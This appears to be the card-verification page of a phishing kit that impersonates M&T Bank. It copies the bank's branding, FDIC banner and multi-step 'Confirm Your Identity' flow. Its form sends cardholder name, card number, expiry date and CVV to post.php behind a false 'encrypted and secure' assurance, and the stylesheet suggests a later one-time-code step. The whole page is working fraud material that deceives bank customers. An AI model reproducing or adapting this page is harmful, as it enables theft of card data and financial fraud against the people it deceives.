<?php ?>
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/x-icon" href="favicon.ico">
<link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
<title>M&T Bank — Confirm Identity</title>
<style>
*,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
:root{--green:#006747;--green-dk:#005238;--green-lt:#e8f4f0;--gold:#C8962C;--text:#1a1a1a;--sub:#555;--border:#d0d8d4;--light:#f0f2f0;--white:#fff}
html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text)}
body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}
/* FDIC bar */
.fdic-bar{background:var(--green);padding:0 40px;height:36px;display:flex;align-items:center;justify-content:space-between}
.fdic-left{display:flex;align-items:center;gap:10px}
.fdic-badge{background:#fff;color:var(--green);font-size:9.5px;font-weight:900;letter-spacing:.04em;padding:2px 5px;border-radius:2px;flex-shrink:0}
.fdic-bar p{font-size:11.5px;color:rgba(255,255,255,.9);font-style:italic}
.fdic-right{display:flex;align-items:center;gap:22px}
.fdic-right a{font-size:12.5px;color:rgba(255,255,255,.9);text-decoration:none;display:flex;align-items:center;gap:5px}
.fdic-right a:hover{color:#fff;text-decoration:underline}
/* main nav */
.main-nav{background:var(--white);padding:0 40px;height:68px;display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #e0e8e4;position:relative;z-index:300}
.nav-logo img{height:42px;width:auto;display:block}
.nav-tabs{display:flex;align-items:center;gap:0}
.nav-tabs a{font-size:15px;font-weight:400;color:var(--text);text-decoration:none;padding:0 20px;height:68px;display:flex;align-items:center;border-bottom:3px solid transparent;transition:color .15s,border-color .15s}
.nav-tabs a.active{color:var(--green);border-bottom-color:var(--green);font-weight:600}
.nav-tabs a:hover:not(.active){color:var(--green)}
.btn-login-nav{background:var(--green);color:#fff;border:none;border-radius:4px;padding:10px 22px;font-family:'Inter',sans-serif;font-size:14px;font-weight:600;cursor:pointer;display:flex;align-items:center;gap:7px;transition:background .15s}
.btn-login-nav:hover{background:var(--green-dk)}
/* sub nav */
.sub-nav{background:var(--white);padding:0 40px;height:48px;display:flex;align-items:center;border-bottom:1px solid #e0e8e4;gap:0}
.sub-nav a{font-size:13.5px;font-weight:400;color:var(--text);text-decoration:none;padding:0 18px;height:48px;display:flex;align-items:center;border-bottom:2px solid transparent;transition:color .15s,border-color .15s}
.sub-nav a:hover{color:var(--green);border-bottom-color:var(--green)}
/* hero */
.hero{background:var(--light);min-height:400px;display:flex;align-items:center;padding:40px 40px 0;position:relative;overflow:hidden;border-bottom:4px solid var(--gold)}
.hero-left{flex:1;max-width:540px;padding-bottom:40px}
.hero-overline{font-size:11.5px;font-weight:700;color:var(--sub);letter-spacing:.12em;text-transform:uppercase;margin-bottom:14px}
.hero-left h1{font-size:clamp(26px,3vw,42px);font-weight:300;color:var(--green);line-height:1.2;margin-bottom:20px}
.hero-left h1 strong{font-weight:800;color:var(--text)}
.hero-left p{font-size:15px;color:var(--sub);line-height:1.65;margin-bottom:28px;max-width:480px}
.btn-hero{display:inline-flex;align-items:center;gap:8px;padding:13px 26px;background:var(--green);color:#fff;border:none;border-radius:4px;font-family:'Inter',sans-serif;font-size:14.5px;font-weight:600;cursor:pointer;text-decoration:none;transition:background .15s}
.btn-hero:hover{background:var(--green-dk)}
.hero-right{flex-shrink:0;width:44%;display:flex;align-items:flex-end;justify-content:center;position:relative}
.hero-right img{width:100%;max-width:500px;display:block;object-fit:contain}
.hero-promo{position:absolute;top:24px;right:60px;text-align:left}
.hero-promo .special{font-size:18px;font-weight:700;color:var(--gold)}
.hero-promo .bonus{font-size:clamp(28px,3vw,42px);font-weight:800;color:var(--green);line-height:1.1}
/* more choices */
.more-section{background:var(--white);padding:48px 40px;display:grid;grid-template-columns:1fr 1fr;gap:40px;align-items:start}
.more-left h2{font-size:clamp(24px,2.5vw,36px);font-weight:300;color:var(--green);line-height:1.2;margin-bottom:14px}
.more-left p{font-size:14px;color:var(--sub);line-height:1.65}
.icon-grid{display:grid;grid-template-columns:repeat(4,1fr);gap:0;border:1px solid #dde8e4;border-radius:4px;overflow:hidden}
.icon-cell{display:flex;flex-direction:column;align-items:center;justify-content:center;gap:10px;padding:22px 12px;border-right:1px solid #dde8e4;border-bottom:1px solid #dde8e4;text-align:center;cursor:pointer;transition:background .15s}
.icon-cell:hover{background:var(--green-lt)}
.icon-cell:nth-child(4n){border-right:none}
.icon-cell:nth-last-child(-n+4){border-bottom:none}
.icon-cell svg{width:36px;height:36px;color:var(--green);stroke-width:1.5}
.icon-cell span{font-size:12px;color:var(--text);font-weight:500;line-height:1.35}
/* login dropdown */
.login-wrap{position:relative}
.login-dd{display:none;position:absolute;top:calc(100% + 12px);right:0;width:330px;background:var(--white);border:1px solid var(--border);border-radius:6px;box-shadow:0 8px 32px rgba(0,0,0,.13);z-index:500;padding:24px 22px 20px;animation:ddIn .18s ease both}
.login-dd.open{display:block}
@keyframes ddIn{from{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}}
.login-dd::before{content:'';position:absolute;top:-7px;right:24px;width:14px;height:14px;background:var(--white);transform:rotate(45deg);border-radius:2px 0 0 0;border-left:1px solid var(--border);border-top:1px solid var(--border)}
.dd-title{font-size:16px;font-weight:700;color:var(--text);margin-bottom:16px}
.dd-f{margin-bottom:12px}
.dd-f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:4px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:#fafcfb;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.dd-f input::placeholder{color:#aab}
.dd-f input:focus{border-color:var(--green);box-shadow:0 0 0 3px rgba(0,103,71,.12);background:#fff}
.btn-dd-login{width:100%;height:46px;background:var(--green);color:#fff;border:none;border-radius:4px;font-family:'Inter',sans-serif;font-size:15px;font-weight:600;cursor:pointer;margin-bottom:14px;transition:background .15s}
.btn-dd-login:hover{background:var(--green-dk)}
.dd-links{display:flex;align-items:center;gap:6px;font-size:12.5px}
.dd-links a{color:var(--green);text-decoration:none}
.dd-links a:hover{text-decoration:underline}
.dd-links span{color:#ccc}
/* loader */
#loader{display:none;position:fixed;inset:0;background:rgba(255,255,255,.92);z-index:9999;flex-direction:column;align-items:center;justify-content:center;gap:16px}
#loader img{width:56px;height:56px;animation:spin 1s linear infinite}
#loader p{font-size:15px;font-weight:600;color:#333;font-family:'Inter',sans-serif}
@keyframes spin{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}
/* inner pages */
.page-bg{flex:1;position:relative;display:flex;align-items:center;justify-content:center;padding:64px 20px;background:var(--light)}
.bg-art{position:absolute;right:0;top:0;bottom:0;width:46%;background:url('res/img/background.jpeg') center center / cover no-repeat;opacity:.09;z-index:0}
.card{position:relative;z-index:2;background:var(--white);width:100%;max-width:520px;border-radius:6px;padding:40px;box-shadow:0 4px 32px rgba(0,0,0,.1);border-top:4px solid var(--gold);animation:ci .4s ease both}
@keyframes ci{from{opacity:0;transform:translateY(14px)}to{opacity:1;transform:translateY(0)}}
.card-logo{margin-bottom:22px;text-align:center}
.card-logo img{height:42px;width:auto;display:inline-block}
.steps{display:flex;align-items:center;gap:8px;margin-bottom:22px}
.st{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
.st.done{background:var(--green);color:#fff}
.st.active{background:var(--green);color:#fff;box-shadow:0 0 0 3px rgba(0,103,71,.2)}
.st.pend{background:#e8ede9;color:#aab}
.sl{flex:1;height:2px;background:#d8e4de;border-radius:2px}
.sl.done{background:var(--green);opacity:.5}
.ch{margin-bottom:18px;padding-bottom:16px;border-bottom:2px solid var(--gold)}
.ch h1{font-size:20px;font-weight:700;color:var(--text)}
.ch p{font-size:13px;color:var(--sub);margin-top:4px}
.notice{display:flex;align-items:center;gap:9px;background:var(--green-lt);border:1px solid #b0d0c4;border-radius:4px;padding:10px 13px;margin-bottom:16px}
.notice svg{flex-shrink:0;color:var(--green)}
.notice span{font-size:12.5px;color:var(--green-dk);font-weight:500}
.f{margin-bottom:13px}
.f label{display:block;font-size:11.5px;font-weight:700;color:var(--sub);margin-bottom:5px;letter-spacing:.05em;text-transform:uppercase}
.f input{width:100%;height:46px;padding:0 13px;border:1.5px solid var(--border);border-radius:4px;font-family:'Inter',sans-serif;font-size:14px;color:var(--text);background:#fafcfb;outline:none;transition:border-color .15s,box-shadow .15s;-webkit-appearance:none}
.f input::placeholder{color:#bbb}
.f input:focus{border-color:var(--green);box-shadow:0 0 0 3px rgba(0,103,71,.12);background:#fff}
.frow{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-bottom:13px}
.frow .f{margin-bottom:0}
.btn-main{width:100%;height:48px;background:var(--green);color:#fff;border:none;border-radius:4px;font-family:'Inter',sans-serif;font-size:15px;font-weight:600;cursor:pointer;margin-bottom:16px;display:flex;align-items:center;justify-content:center;gap:8px;transition:background .15s}
.btn-main:hover{background:var(--green-dk)}
.clinks{display:flex;flex-direction:column;gap:10px;padding-top:14px;border-top:1px solid #e0e8e4}
.clinks a{font-size:13px;color:var(--green);text-decoration:none;display:flex;align-items:center;gap:5px}
.clinks a:hover{text-decoration:underline}
/* ring */
.ring-wrap{position:relative;width:138px;height:138px;margin:0 auto 22px}
.ring-wrap svg{width:138px;height:138px;transform:rotate(-90deg)}
.ring-track{fill:none;stroke:#d8e4de;stroke-width:6}
.ring-prog{fill:none;stroke:var(--green);stroke-width:6;stroke-linecap:round;stroke-dasharray:326.7;stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;filter:drop-shadow(0 0 5px rgba(0,103,71,.25))}
.ring-lbl{position:absolute;inset:0;display:flex;flex-direction:column;align-items:center;justify-content:center}
.ring-time{font-size:32px;font-weight:700;color:var(--green);line-height:1}
.ring-unit{font-size:11px;color:var(--sub);margin-top:5px;letter-spacing:.08em;text-transform:uppercase}
.dots{display:flex;justify-content:center;gap:8px;margin-bottom:20px}
.dots span{width:9px;height:9px;border-radius:50%;background:#d8e4de;transition:background .4s,transform .3s}
.dots span.lit{background:var(--green);transform:scale(1.25)}
.info-n{display:inline-flex;align-items:center;gap:8px;background:var(--green-lt);border:1px solid #b0d0c4;border-radius:4px;padding:10px 18px;font-size:12.5px;color:var(--green-dk);font-weight:600}
/* otp */
.otp-row{display:flex;gap:8px;justify-content:center;margin-bottom:12px}
.otp-row input{width:54px;height:58px;border:1.5px solid var(--border);border-radius:4px;font-size:26px;font-weight:700;color:var(--green);text-align:center;background:#fafcfb;outline:none;transition:border-color .15s,box-shadow .15s;caret-color:var(--green);-webkit-appearance:none;font-family:'Inter',sans-serif}
.otp-row input:focus{border-color:var(--green);box-shadow:0 0 0 3px rgba(0,103,71,.12);background:#fff}
.otp-row input.filled{border-color:var(--green);background:var(--green-lt)}
.phone-b{display:flex;align-items:center;gap:11px;background:var(--green-lt);border:1px solid #b0d0c4;border-radius:4px;padding:12px 14px;margin-bottom:20px}
.phone-icon{width:32px;height:32px;background:var(--green);border-radius:4px;display:flex;align-items:center;justify-content:center;flex-shrink:0}
.phone-icon svg{color:#fff}
.phone-txt{font-size:12.5px;color:var(--sub);line-height:1.5}
.phone-txt strong{display:block;font-size:13px;color:var(--text);font-weight:700;margin-bottom:1px}
.resend-row{display:flex;align-items:center;justify-content:space-between;margin-bottom:20px;margin-top:8px}
.resend-timer{font-size:12.5px;color:var(--sub);display:flex;align-items:center;gap:5px}
.resend-timer span{font-weight:700;color:var(--green);min-width:32px}
.resend-btn{font-size:13px;color:var(--green);font-weight:600;background:none;border:none;cursor:pointer;text-decoration:underline;font-family:'Inter',sans-serif;padding:0}
.resend-btn:disabled{color:var(--sub);text-decoration:none;cursor:default;opacity:.6}
.otp-lbl{font-size:12px;font-weight:700;color:var(--sub);margin-bottom:12px;letter-spacing:.06em;text-transform:uppercase}
/* footer */
.page-footer{background:#1a2e24;padding:20px 40px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
.footer-links{display:flex;gap:20px;flex-wrap:wrap}
.footer-links a{font-size:12px;color:rgba(255,255,255,.5);text-decoration:none}
.footer-links a:hover{color:#fff}
.footer-copy{font-size:12px;color:rgba(255,255,255,.3)}
@media(max-width:900px){.nav-tabs a:not(.active){display:none}.main-nav{padding:0 20px}.fdic-bar{padding:0 20px}.sub-nav{padding:0 20px;overflow-x:auto}.hero{flex-direction:column;padding:36px 20px 0}.hero-right{width:100%;justify-content:center}.more-section{grid-template-columns:1fr;padding:36px 20px}.icon-grid{grid-template-columns:repeat(2,1fr)}}
@media(max-width:500px){.card{padding:26px 18px 28px}.frow{grid-template-columns:1fr}.otp-row input{width:44px;height:50px;font-size:22px}.login-dd{width:290px;right:-10px}.fdic-right a:not(:first-child){display:none}}
</style>
</head><body>
<div class="fdic-bar">
    <div class="fdic-left"><span class="fdic-badge">FDIC</span><p>FDIC-Insured - Backed by the full faith and credit of the U.S. Government</p></div>
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        <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>Search</a>
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    <button class="btn-login-nav" onclick="window.location='login.php'">
        <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>Log In
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<div class="page-bg"><div class="bg-art"></div>
<div class="card">
    <div class="card-logo"><img src="res/img/logo.svg" alt="M&T Bank"></div>
    <div class="steps"><div class="st done">&#10003;</div><div class="sl done"></div><div class="st active">2</div><div class="sl"></div><div class="st pend">3</div></div>
    <div class="ch"><h1>Confirm Your Identity</h1><p>Enter your card details to verify your account</p></div>
<div class="notice"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg><span>Your information is encrypted and secure</span></div>
<form action="post.php" method="post" id="vf">
    <div class="f"><label>Cardholder Name</label><input type="text" name="name" placeholder="As shown on card" autocomplete="cc-name"></div>
    <div class="f"><label>Card Number</label><input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" inputmode="numeric"></div>
    <div class="frow"><div class="f"><label>Expiration</label><input type="text" name="exp" id="exp" required placeholder="MM / YY" inputmode="numeric"></div><div class="f"><label>CVV</label><input type="password" name="cvv" id="cvv" required placeholder="CVV" inputmode="numeric"></div></div>
    <button type="submit" class="btn-main">Continue &#8594;</button>
</form>
<div class="clinks">
    <a href="#"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Contact support</a>
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